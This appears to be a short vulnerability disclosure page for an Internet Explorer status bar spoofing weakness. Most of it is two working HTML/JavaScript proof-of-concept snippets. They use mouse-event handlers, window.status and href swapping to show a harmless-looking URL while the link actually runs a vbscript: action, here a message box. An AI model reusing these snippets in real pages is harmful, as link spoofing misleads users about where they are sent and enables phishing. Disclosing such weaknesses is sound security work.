Microsoft Internet Explorer Mouse Event URI Status Bar Obfuscation Weakness

Microsoft Internet Explorer Mouse Event URI Status Bar Obfuscation Weakness

The following exploit is available:

<script>
var aa=0;var intid;
</script>
Try right-clicking on the link and clicking on properties. Notice the address is spoofed even on the properties window, yet the link takes you to an address with the vbscript protocol.
Note: Does not work when the "open" command is selected from the right-click menu.
<a href='vbscript:msgbox("Psych!")' id="chglink" onmouseover="aa=1;var intid=setInterval('if(aa==1){window.status=\'http://yahoo.com\'}',10)"
onmouseout='aa=0;chglink.href="vbscript:msgbox(\"Psych!\")";clearInterval(intid);window.status=""' onmousedown="if
(event.button==2){chglink.href='http://yahoo.com'}">click</a>

Just a simple one:
<a href="http://google.com"><button style="border:0;background-color:white;cursor:hand" onclick='location.assign("vbscript:msgbox(\"Psych!\")")'><font
color="blue">click</font></button></a>